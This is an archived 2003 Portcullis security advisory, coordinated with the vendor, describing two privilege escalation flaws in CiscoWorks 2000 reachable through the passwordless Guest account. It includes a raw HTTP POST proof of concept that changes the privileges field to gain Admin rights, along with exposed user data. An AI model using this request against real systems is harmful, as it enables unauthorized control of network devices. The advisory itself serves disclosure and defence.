Portcullis Security Advisory CiscoWorks 2000 Priviledge Escalation Vulnerability Vulnerability discovery and development: Omicron@portcullis-security.com Affected systems: Ciscoworks 2000 Details: Portcullis have discovered that using the default Guest account which has no password set, that it is possible to view page information that the user should not have access to. Whilst requesting certain pages the raw HTTP shows a statement of who the logged on user is: HTTP/1.1 200 OK Date: Tue, 01 Jul 2003 13:01:12 GMT Server: Apache/1.3.24 (Unix) mod_perl/1.26 Content-Length: 5 Connection: close Content-Type: text/html guest By replacing guest with admin and using POST to sent on the information, (for the Modify\delete users page) the system responds with information on all the users on the site IE: user1::::7 user2::::2 portcullis:portcullisat_private:::3F admin::::F guest::admin::0 This allows Guest to then view information restricted to the Admin account on all users on the system. Impact: Users are able to view information restricted to Administrators Exploit: As described in Details, edit raw HTML requests and replace user with a known one of higher privileges. Vendor Status: Vendor Confirmed. Following discussions with the vendor, Portcullis agreed to joint advisories. The Cisco advisory can be found at the following URL. http://www.cisco.com/warp/public/707/cisco-sa-20030813-cmf.shtml Portcullis Security Advisory CiscoWorks 2000 Privilege Escalation Vulnerability Vulnerability discovery and development: Omicron@portcullis-security.com Affected systems: Ciscoworks 2000 Details: Portcullis have discovered that using the default Guest account which has no password set, that it is possible to elevate the Guest users privileges to the equivalent of Admin. Following this a new user account can be created with full rights and complete access to the systems managed by Ciscoworks. When submitting changes to the user account, the raw HTML shows the users information in the following string: cmd=modifyUser&name=guest&pwd=cGFzc3dvcmQ%3D&email=test%0test.com&ccoId=&cco Pwd=&proxyId=&proxyPwd=&priviledges=0 From information obtained it is possible to change the users privileges from 0 to F where F is the code for Admin rights. The Guest account can now create a new user with all available security options. Impact: Once access has been achieved, an attacker has complete control over all Cisco devices managed by Ciscoworks. Exploit: The following is provided as proof of concept. POST /CSCOnm/servlet/com.cisco.nm.cmf.servlet.CsAuthServlet HTTP/1.0 Accept-Language: en Content-Type: application/x-www-form-urlencoded Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: 10.10.10.1:1741 Content-Length: 114 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: jrunsessionid=1057059156201223367 cmd=modifyUser&name=guest&pwd=&email=&ccoId=&ccoPwd=&proxyId=&proxyPwd=&priv iledges=0 Vendor Status: Vendor Confirmed. Following discussions with the vendor, Portcullis agreed to joint advisories. The Cisco advisory can be found at the following URL. http://www.cisco.com/warp/public/707/cisco-sa-20030813-cmf.shtml Copyright © Portcullis Computer Security Limited 2003, All rights reserved worldwide. THIS INFORMATION HAS BE PROVIDED TO THE VENDOR and CERT FOR A MINIMUM OF 14 DAYS PRIOR TO PUBLIC RELEASE. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. Disclaimer: The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. ************************************************************* The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Any opinions expressed are those of the individual and do not represent the opinion of the organisation. Access to this email by persons other than the intended recipient is strictly prohibited. If you are not the intended recipient, any disclosure, copying, distribution or other action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. When addressed to our clients any opinions or advice contained in this email is subject to the terms and conditions expressed in the applicable Portcullis Computer Security Limited terms of business. **************************************************************
This archive was generated by hypermail 2b30 : Wed Aug 13 2003 - 11:07:24 PDT